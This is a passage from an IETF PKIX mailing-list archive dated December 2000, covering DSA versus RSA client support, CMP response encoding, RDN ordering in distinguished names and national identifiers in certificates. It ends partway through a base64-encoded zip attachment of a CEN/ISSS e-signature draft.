with two, particularly when one of those algorithms hasn't been 
widely implemented and tested in products.

>Interoperability is a prime concern here at NIST.  In terms of 
>algorithm independence, we have come to the conclusion that 
>interoperability *requires* multi-algorithm clients.

Could you explain the logic there a bit more? If only one algorithm 
is mandated, how does that leasd to less interoperability?

>This implies that we need to move the burden to the clients, even 
>though that will impact many clients.

Here we disagree. Do you *really* think that all the IPsec 
implementations and all the S/MIME implementations are going to add 
DSA support? That is certainly not what I hear from the members of my 
organizations; even the ones who do DSA support are not sure that it 
works that well because it is rarely tested.

>   If a PKIX client can validate both DSA and RSA signatures, it can 
>handle certificates from any CA when signed with a PKIX-specified 
>algorithm.

If we only mandate RSA, well, you can fill in the rest...

>The question is whether multiple algorithm support is a practical 
>requirement for clients.  I just took a few minutes to scan the FIPS 
>140-1 validated crypto module list.  This list currently has 130 
>modules - some hardware, some software.  (For those interested, see 
>http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those 
>cryptographic modules already support multiple signature algorithms. 
>I didn't count, but it appears that most of the recent products 
>(both hardware and software) support both DSA and RSA for signatures.
>
>To me, this implies that multiple algorithm support is reasonable 
>unless the device footprint must be very small.  This may be a 
>biased data set, though.  Validated products are required to support 
>at least one FIPS-approved algorithm, and RSA has only recently 
>become a FIPS-approved algorithm.

Bingo: that obviously skewed the requirements. In the IPsec and 
S/MIME space, there was no such requirement (that is, S/MIME vendors 
simply ignore the v3 specs), and there are almost no commercial or 
even freeware implementations using DSA.

--Paul Hoffman, Director
--VPN Consortium


Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA04451 for <ietf-pkix@imc.org>; Thu, 28 Dec 2000 14:19:58 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id VAA20219 for <ietf-pkix@imc.org>; Thu, 28 Dec 2000 21:23:14 -0500 (EST) (envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001228172902.00bd84f0@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 28 Dec 2000 17:33:25 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: rfc2510bis (CMP) question
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

draft-ietf-pkix-rfc2510bis-02 section 3.3.4 has the following syntax for a 
certification response:

   CertResponse ::= SEQUENCE {
       certReqId           INTEGER,
       -- to match this response with corresponding request (a value
       -- of -1 is to be used if certReqId is not specified in the
       -- corresponding request)
       status              PKIStatusInfo,
       certifiedKeyPair    CertifiedKeyPair    OPTIONAL,
       rspInfo             OCTET STRING        OPTIONAL
       -- analogous to the id-regInfo-utf8Pairs OCTET STRING defined
       -- for regInfo in CertReqMsg [rfc2511bis]
   }

I don't understand the comment for the rspInfo field -- rfc2511bis has the 
UTF8Pairs registration info value defined as UTF8String, not OCTET STRING. 
Can anyone enlighten me as to how rspInfo is supposed to be encoded?

Thanks,

Ari Kermaier
Phaos Technology



Received: from exchsrv1.cosinecom.com (mail.cosinecom.com [63.88.104.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA29695 for <ietf-pkix@imc.org>; Wed, 27 Dec 2000 11:56:58 -0800 (PST)
Received: by exchsrv1.cosinecom.com with Internet Mail Service (5.5.2650.21) id <Y4YLXRTL>; Wed, 27 Dec 2000 11:58:23 -0800
Message-ID: <7EB7C6B62C4FD41196A80090279A2911016E0B13@exchsrv1.cosinecom.com>
From: Paul Lambert <Paul.Lambert@cosinecom.com>
To: "'Peter Williams'" <peterw@valicert.com>, "'Covey, Carlin'" <ccovey@cylink.com>, ietf-pkix@imc.org
Subject: RE: Ordering of RDN's within the DN
Date: Wed, 27 Dec 2000 11:58:21 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0703F.5D06A120"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0703F.5D06A120
Content-Type: text/plain;
	charset="iso-8859-1"


The ftp archive referenced in rfc1417 no longer contain the documents.  

Try: http://www.ten-34.net/np/ds/nadf.html

Paul

-----Original Message-----
From: Peter Williams [mailto:peterw@valicert.com]
Sent: Wednesday, December 27, 2000 11:00 AM
To: 'Covey, Carlin'; ietf-pkix@imc.org
Subject: RE: Ordering of RDN's within the DN


NADF was one standards organization (defunct, but at one
time respected by our leaders) that specifies a naming architecture
that structures and organizes certain namespaces, by RDN. The
architecture was founded on the need for cooperative
management of a shared namespace by competitive providers. The
NBDF addressed the issues in focus in a public directory in which 
otherwise privately-managed names(disclosing considerable intelligence 
about a company) would be partially disclosed.

NADF essentially specified a "Bridge-Directory". There
was a specific naming concept that interact with PKI
DN naming - where cert DNs and directory DNs are not
the same, to accomodate realworld needs for name
management and name distribution privacy requirements.

http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html

-----Original Message-----
From: Covey, Carlin [mailto:ccovey@cylink.com]
Sent: Friday, December 22, 2000 8:58 AM
To: ietf-pkix@imc.org
Subject: Ordering of RDN's within the DN


Does anyone know of a standard ordering for the RDN's for locality, state,
and postalCode when they appear in a DN?

- Carlin Covey
  Cylink Corp.

------_=_NextPart_001_01C0703F.5D06A120
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Ordering of RDN's within the DN</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>The ftp archive referenced in rfc1417 no longer =
contain the documents.&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>Try: <A =
HREF=3D"http://www.ten-34.net/np/ds/nadf.html" =
TARGET=3D"_blank">http://www.ten-34.net/np/ds/nadf.html</A></FONT>
</P>

<P><FONT SIZE=3D2>Paul</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Peter Williams [<A =
HREF=3D"mailto:peterw@valicert.com">mailto:peterw@valicert.com</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Wednesday, December 27, 2000 11:00 AM</FONT>
<BR><FONT SIZE=3D2>To: 'Covey, Carlin'; ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: RE: Ordering of RDN's within the DN</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>NADF was one standards organization (defunct, but at =
one</FONT>
<BR><FONT SIZE=3D2>time respected by our leaders) that specifies a =
naming architecture</FONT>
<BR><FONT SIZE=3D2>that structures and organizes certain namespaces, by =
RDN. The</FONT>
<BR><FONT SIZE=3D2>architecture was founded on the need for =
cooperative</FONT>
<BR><FONT SIZE=3D2>management of a shared namespace by competitive =
providers. The</FONT>
<BR><FONT SIZE=3D2>NBDF addressed the issues in focus in a public =
directory in which </FONT>
<BR><FONT SIZE=3D2>otherwise privately-managed names(disclosing =
considerable intelligence </FONT>
<BR><FONT SIZE=3D2>about a company) would be partially =
disclosed.</FONT>
</P>

<P><FONT SIZE=3D2>NADF essentially specified a =
&quot;Bridge-Directory&quot;. There</FONT>
<BR><FONT SIZE=3D2>was a specific naming concept that interact with =
PKI</FONT>
<BR><FONT SIZE=3D2>DN naming - where cert DNs and directory DNs are =
not</FONT>
<BR><FONT SIZE=3D2>the same, to accomodate realworld needs for =
name</FONT>
<BR><FONT SIZE=3D2>management and name distribution privacy =
requirements.</FONT>
</P>

<P><FONT SIZE=3D2><A =
HREF=3D"http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html" =
TARGET=3D"_blank">http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html</=
A></FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Covey, Carlin [<A =
HREF=3D"mailto:ccovey@cylink.com">mailto:ccovey@cylink.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Friday, December 22, 2000 8:58 AM</FONT>
<BR><FONT SIZE=3D2>To: ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: Ordering of RDN's within the DN</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Does anyone know of a standard ordering for the RDN's =
for locality, state,</FONT>
<BR><FONT SIZE=3D2>and postalCode when they appear in a DN?</FONT>
</P>

<P><FONT SIZE=3D2>- Carlin Covey</FONT>
<BR><FONT SIZE=3D2>&nbsp; Cylink Corp.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0703F.5D06A120--


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA25659 for <ietf-pkix@imc.org>; Wed, 27 Dec 2000 11:00:08 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G6800E01QAJ1F@ext-mail.valicert.com> for ietf-pkix@imc.org; Wed, 27 Dec 2000 11:03:55 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G680053XQAJVD@ext-mail.valicert.com>; Wed, 27 Dec 2000 11:03:55 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <ZLX2SL6S>; Wed, 27 Dec 2000 11:00:24 -0800
Content-return: allowed
Date: Wed, 27 Dec 2000 11:00:17 -0800
From: Peter Williams <peterw@valicert.com>
Subject: RE: Ordering of RDN's within the DN
To: "'Covey, Carlin'" <ccovey@cylink.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E182B41@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

NADF was one standards organization (defunct, but at one
time respected by our leaders) that specifies a naming architecture
that structures and organizes certain namespaces, by RDN. The
architecture was founded on the need for cooperative
management of a shared namespace by competitive providers. The
NBDF addressed the issues in focus in a public directory in which 
otherwise privately-managed names(disclosing considerable intelligence 
about a company) would be partially disclosed.

NADF essentially specified a "Bridge-Directory". There
was a specific naming concept that interact with PKI
DN naming - where cert DNs and directory DNs are not
the same, to accomodate realworld needs for name
management and name distribution privacy requirements.

http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html

-----Original Message-----
From: Covey, Carlin [mailto:ccovey@cylink.com]
Sent: Friday, December 22, 2000 8:58 AM
To: ietf-pkix@imc.org
Subject: Ordering of RDN's within the DN


Does anyone know of a standard ordering for the RDN's for locality, state,
and postalCode when they appear in a DN?

- Carlin Covey
  Cylink Corp.


Received: from mail02-lax.pilot.net (mail-lax-2.pilot.net [205.139.40.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA21676 for <ietf-pkix@imc.org>; Wed, 27 Dec 2000 10:09:49 -0800 (PST)
Received: from mpaasecure.mpaa.org ([206.81.27.60]) by mail02-lax.pilot.net with SMTP id KAA15671 for <ietf-pkix@imc.org>; Wed, 27 Dec 2000 10:13:42 -0800 (PST)
Received: from 192.168.100.251 by mpaasecure.mpaa.org with ESMTP (MPAA SMTP Relay (MMS v4.7)); Wed, 27 Dec 2000 10:12:23 -0800
X-Server-Uuid: 24b67562-c6ec-11d4-9be5-00508bd8b3a9
Received: by MPAAMAIL with Internet Mail Service (5.5.2650.21) id <ZKG775PQ>; Wed, 27 Dec 2000 10:13:20 -0800
Message-ID: <155ECDA31FA9D411999A00508BF7C0E002DAD1@MPAAMAIL>
From: "Dawson, Dave" <Dave_Dawson@mpaa.org>
To: ietf-pkix@imc.org
Subject: UNSUBSCRIBE
Date: Wed, 27 Dec 2000 10:13:09 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
X-WSS-ID: 1654EE8D7797-01-01
Content-Type: text/plain;  charset=iso-8859-1
Content-Transfer-Encoding: 7bit

UNSUBSCRIBE




Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA17148 for <ietf-pkix@imc.org>; Tue, 26 Dec 2000 06:20:53 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id PAA22508; Tue, 26 Dec 2000 15:31:18 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id PAA21762; Tue, 26 Dec 2000 15:24:07 +0100
Message-ID: <3A48AA07.77D2D28F@bull.net>
Date: Tue, 26 Dec 2000 15:24:07 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was:  Why   don't using Permanent Identifier on QC certificates?)
References: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com> <3A41C918.3A44C888@bull.net> <004501c06b6d$f05d2f60$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Anders,

> > I would use a different example:
> >
> > C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serial number = 22
> > C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serail number = 23
> >
> > These two individuals are different. Their names are unique. However, their
> > serial numbers no NOT relate to any national identification scheme. The PI could
> > suport a national identification scheme or any other identification scheme.
> >
> > This means that there exist cases where both the serial number from the DN and
> > the PI have some reason to co-exist.
> 
> Juan and Denis,
> 
> Technically possible solution yes, but inserting disambiguating nonsense serial numbers in the DN when
> you actually have a unique identity number (national or other) seems like a very odd solution.

The specification of a DN does NOT say that serial number by its own is
unique. It says that taking all the components of the DN, including (if
present) the serial number, makes the name unique for the CA. Unfortunately,
we are not able to change this.

> For migration purposes CAs will have to continue "to put the identity in the DN" essentially
> until/if PI is built into the heart of all major RP software. The current solution is to use external "mapping
> software" that extract PI-info and supply "naming authority" externally. 

You are perfectly right. But this means that the mapping can only be
application dependent.

> As the number of CAs that
> a given RP is likely to support/trust is likely to be fairly limited, this makes PI somewhat redundant.

Not exactly. It will avoid to do the mapping you were talking of, and thus
will allow interoperability between applications.

> If PI instead had been targeted to support the existing DN mapping processes instead of creating new
> places to stuff partly redundant identity information (efectively "competing with DN"), it would had been a
> nicer option.

It has been a solution we thought of, when we started, but this would have
mandated some kind of ordering of the elements of the DNs and such an
ordering is not allowed by the standard. There was no support to amend the
standard in that direction and thus why this option has been discarded.

> Or you can of course use the following semantics: If there is a PI - ignore DN completely.  It should
> only be used for "display purposes".  I find this neither compatible with current practice nor with QC.

The DN and the PI serves two different purposes: the DN is, as you say, for
"display purposes", hence for use by human beings. The PI is for use by
computers.

Thanks for your interest in the topic,

Denis

> Anders


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA01791 for <ietf-pkix@imc.org>; Tue, 26 Dec 2000 02:46:57 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id LAA25062; Tue, 26 Dec 2000 11:57:04 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id LAA17014; Tue, 26 Dec 2000 11:49:51 +0100
Message-ID: <3A4877D0.6FDACF7B@bull.net>
Date: Tue, 26 Dec 2000 11:49:52 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: IETF-PXIX <ietf-pkix@imc.org>, Tom Gindin <tgindin@us.ibm.com>
CC: Tim Polk <tim.polk@nist.gov>
Subject: Re: non-repudiation specification
References: <4.2.0.58.20001222111050.01e53ae0@email.nist.gov>
Content-Type: multipart/mixed; boundary="------------83BAFE232175AA4C011F5705"

Il s'agit d'un message multivolet au format MIME.
--------------83BAFE232175AA4C011F5705
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


During the discussion about the "Internet X.509 Public Key Infrastructure
Technical Requirements for a non-Repudiation Service"
<draft-ietf-pkix-techNR-02.txt> available at
http://www.imc.org/draft-ietf-pkix-technr) that took place during the PKIX
session at San Diego, I mentioned the work from CEN/ISSS performed in the
Workshop called "E-Sign" (like Electronic-Signature"). 

Tim asked me to post the latest draft on the list. You will find it
attached.

Denis
--------------83BAFE232175AA4C011F5705
Content-Type: application/x-zip-compressed;
 name="G2-1.0.2-draft.zip"
Content-Disposition: inline;
 filename="G2-1.0.2-draft.zip"
Content-Transfer-Encoding: base64

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
